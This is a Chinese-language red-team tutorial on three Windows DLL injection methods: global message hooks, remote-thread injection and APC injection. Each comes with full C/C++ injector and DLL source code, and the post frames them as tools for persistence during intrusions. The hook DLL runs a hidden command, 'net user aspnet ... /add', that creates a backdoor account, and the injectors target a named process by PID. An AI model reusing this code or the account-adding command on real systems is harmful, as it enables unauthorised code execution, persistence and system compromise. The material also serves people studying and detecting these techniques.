紅隊 | Windows注入的一些方式
在滲透過程中有時候為了權限維持或者其他等一些操作,比如以前的搜狗輸入法可以替換dll文件當用戶切換輸入法就會去加載我們替換的dll文件,dll文件可以自己編寫一些net user或者其他的一些方法,也可以通過msf等來生成dll文件進行替換。
0x01 Global hook Inject
windows中一般應用都是通過消息機制的,操作系統提高了鉤子,他的作用就是用來截獲和監視系統的這些消息。
局部鉤子:針對某個線程的。 全局鉤子:針對整個系統基于消息的應用。該鉤子需要dll文件,在dll中實現對應的鉤子函數。
使用SetWindowsHookEx安裝WH_GETMESSAGE類型的鉤子,并且鉤子進程函數在一個 DLL 中,則該 DLL 可以實現全局注入
注:WH_GETMESSAGE用來鉤PostMessage消息。
SetWindowsHookEx:
HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); idHook:鉤子的類型 lpfn:指向鉤子程序的指針,鉤子過程函數。 hMod:dll函數模塊句柄,DllMain的第一個參數 dwThreadId:hook程序關聯的線程的ID。如果為0表示與系統關聯的所有進程
如果函數執行成功則返回的是鉤子過程的句柄。反之如果執行失敗返回NULL。
DLL實現代碼:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include
HHOOK g_hHook;
HMODULE g_hModule;
LRESULT CALLBACK GetMsgProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL LoadHook(void) {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
if (g_hHook) {
WinExec("net user aspnet '1qaz@WSX' /add", SW_NORMAL);
MessageBox(NULL, TEXT("load successfully"), TEXT("title"), MB_OK);
return TRUE;
}
else {
return FALSE;
}
}
VOID UnloadHook(void)
{
if (g_hHook)
UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hModule = hModule;
MessageBox(NULL, TEXT("loading"), TEXT("title"), MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLL的實現過程:
1.設置鉤子 2.取消鉤子 3.鉤子程序的函數 4.導出相關功能
鉤子的回調函數:
LRESULT CALLBACK GetMsgProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
回調函數的參數和返回值都是固定的,CallNextHookEx函數表示將當前鉤子傳遞給鉤子鏈的笑一個鉤子,第一個參數指定的就是當前鉤子的句柄g_hHook
添加.def文件:
LIBRARY EXPORTS LoadHook UnloadHook
dll是無法自己去啟動的,需要一個程序來加載它。
調用程序:
#include
#include
int main()
{
HMODULE hModule = LoadLibraryA("Dll.dll");
if (hModule == NULL)
return 0;
FARPROC pfnLoadHook = GetProcAddress(hModule, "LoadHook");
FARPROC pfnUnloadHook = GetProcAddress(hModule, "UnloadHook");
if (pfnLoadHook == NULL || pfnUnloadHook == NULL)
return 0;
if (pfnLoadHook())
printf("load successfull");
else {
printf("load failed");
return 0;
}
printf("Press any key to unload global hook");
getchar();
pfnUnloadHook();
printf("uninstall successfull");
return 0;
}

0x02 remote injection Dll
遠線程注入是指一個進程在另外一個進程中創建線程的技術。
OpenProcess:
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ); 1.dwDesiredAccess該參數可以是一個或多個 進程訪問權限。 2.如果此值為 TRUE,則此進程創建的進程將繼承句柄。否則,進程不會繼承這個句柄。 3.要打開的本地進程的PID
第一個參數具體可以查看[進程訪問權限]:
https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
VirtualAllocEx:
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); 1.hProcess:進程的句柄。該函數在該進程的虛擬地址空間內分配內存。 2.lpAddress:為要分配的頁面區域指定所需起始地址的指針,如果lpAddress為NULL,則該函數確定分配區域的位置。 3.dwSize:要分配的內存區域的大小,以字節為單位。 4.flAllocationType:內存分配的類型。
flAllocationType具體可以查看[flAllocationType]:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex?f1url=%3FappId%3DDev16IDEF1%26l%3DZH-CN%26k%3Dk(MEMORYAPI%252FVirtualAllocEx);k(VirtualAllocEx);k(DevLang-C%252B%252B);k(TargetOS-Windows)%26rd%3Dtrue
WriteProcessMemory:
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten ); 1.hProcess:要修改的進程內存的句柄。句柄必須具有對進程的 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 訪問權限。 2.lpBaseAddress:指向指定進程中寫入數據的基地址的指針。 3.lpBuffer:指向包含要寫入指定進程地址空間的數據的緩沖區的指針。 4.nSize:要寫入指定進程的字節數。 5.lpNumberOfBytesWritten:一個指向接收傳輸到指定進程的字節數的變量的指針。該參數是可選的。如果lpNumberOfBytesWritten為NULL,則忽略該參數。
CreateRemoteThread:
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); 1.hProcess:要在其中創建線程的進程的句柄。 2.lpThreadAttributes:指向SECURITY_ATTRIBUTES結構的指針,該 結構為新線程指定安全描述符并確定子進程是否可以繼承返回的句柄。 3.dwStackSize:堆棧的初始大小,以字節為單位。 4.lpStartAddress:指向要由線程執行的LPTHREAD_START_ROUTINE 類型的應用程序定義函數的指針,表示遠程進程中線程的起始地址。該函數必須存在于遠程進程中。 5.lpParameter:指向要傳遞給線程函數的變量的指針。 6.dwCreationFlags:控制線程創建的標志。該值如果是0,線程在創建后立即運行。 7.lpThreadId:指向接收線程標識符的變量的指針。
程序代碼:
#include
#include
#include
#include
BOOL InjectDll(const char* szDllPath, int rProcessId) {
HANDLE hProcess = NULL;
LPVOID pDllAddr = NULL;
FARPROC pfnStartAddr = NULL;
HANDLE hRemoteThread = NULL;
//打開進程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, rProcessId);
if (hProcess == INVALID_HANDLE_VALUE) {
return FALSE;
}
//在要注入的進程中申請內存
pDllAddr = VirtualAllocEx(hProcess, NULL, strlen(szDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (!pDllAddr)
{
return FALSE;
}
//給要注入的進程中寫入數據
WriteProcessMemory(hProcess, pDllAddr, szDllPath, strlen(szDllPath) + 1, NULL);
//獲取LoadLibraryA函數的地址
pfnStartAddr = GetProcAddress(::GetModuleHandle("Kernel32"), "LoadLibraryA");
//使用CreateRemoteThread創建遠線程,注入DLL
if ((hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnStartAddr, pDllAddr, 0, NULL)) == NULL)
{
std::cout << "Injecting thread failed!" << std::endl;
return FALSE;
}
/*CloseHandle(hProcess);
CloseHandle(hRemoteThread);*/
return TRUE;
}
int GetProcessID(const char* szProcessNames) {
int iRet = -1;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
BOOL bProcess = Process32First(hTool32, &pe32);
if (bProcess == TRUE)
{
while ((Process32Next(hTool32, &pe32)) == TRUE)
{
if (strcmp(pe32.szExeFile, szProcessNames) == 0)
{
iRet = pe32.th32ProcessID;
break;
}
}
}
return iRet;
}
int main() {
int rProcessId = GetProcessID("Demo.exe");
printf("%d",rProcessId);
if (rProcessId > 0) {
InjectDll("F:\\Dll.dll", rProcessId);
}
return 0;
}

通過Process Monistor查看成功注入了dll文件

0x03 APC Inject
?線程在進程內執行代碼
?線程可以利用 APC 隊列異步執行代碼
?每個線程都有一個隊列來存儲所有的 APC
?應用程序可以將 APC 排隊到給定的線程(取決于權限)
?當一個線程被調度時,排隊的 APC 被執行
APC就是為異步過程調用。
APC注入的一般幾個步驟:
?首先通過OpenProcess函數打開目標進程,獲取目標進程的句柄。
?然后,通過調用WIN32 API函數CreateToolhelp32Snapshot、Thread32First和Thread32Next,遍歷線程快照,獲取目標進程的所有線程ID。
?然后調用VirtualAllocEx函數在目標進程中申請一塊內存,通過WriteProcessMemory函數將注入的DLL路徑寫入內存。
?最后遍歷上面得到的線程ID,調用OpenThread函數打開具有THREAD_ALL_ACCESS訪問權限的線程,獲取線程句柄。并調用QueueUserAPC函數將APC函數插入線程,將APC函數的地址設置為LoadLibraryA函數的地址,將APC函數參數設置為上述DLL路徑地址。
?只要目標進程中的任何一個線程被喚醒,就會執行APC來完成DLL注入操作
每一個線程都有自己的APC隊列,使用QueueUserAPC函數把一個APC函數壓入APC隊列中。
QueueUserAPC:
DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData ); 1.pfnPAC:表示要執行的函數的地址,指向應用程序提供的 APC 函數的指針,當指定的線程執行可警報的等待操作時將調用該函數。 2.hThread:線程的句柄。句柄必須具有THREAD_SET_CONTEXT訪問權限。 3.dwData:傳遞給pfnAPC參數指向的 APC 函數的單個值。
實現代碼:
#include
#include
// 根據進程名稱獲取PID
DWORD GetProcessPID(const char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 獲取進程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
MessageBox(NULL, "CreateToolhelp32Snapshot error", "TITLE", MB_OK);
return dwProcessId;
}
// 獲取第一條進程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 獲取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍歷下一個進程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根據PID獲取所有的相應線程ID
BOOL GetThreadID(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申請內存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
MessageBox(NULL, "申請內存 error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 獲取線程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
MessageBox(NULL, "CreateToolhelp32Snapshot error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
// 獲取第一條線程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 獲取進程對應的線程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍歷下一個線程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDll(const char* pszProcessName,const char* pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
do
{
// 根據進程名稱獲取PID
dwProcessId = GetProcessPID(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根據PID獲取所有的相應線程ID
bRet = GetThreadID(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打開注入進程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
MessageBox(NULL, "OpenProcess error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
// 在注入進程空間申請內存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
MessageBox(NULL, "VirtualAllocEx error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
// 向申請的空間中寫入DLL路徑數據
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
MessageBox(NULL, "WriteProcessMemory error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
// 獲取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
MessageBox(NULL, "GetProcAddress error", "TITLE", MB_OK);
bRet = FALSE;
break;
}
// 遍歷線程, 插入APC
i = dwThreadIdLength;
for (; i > 0; --i)
{
// 打開線程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 釋放內存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
int main() {
ApcInjectDll("Demo.exe", "F:\\Dll.dll");
return 0;
}

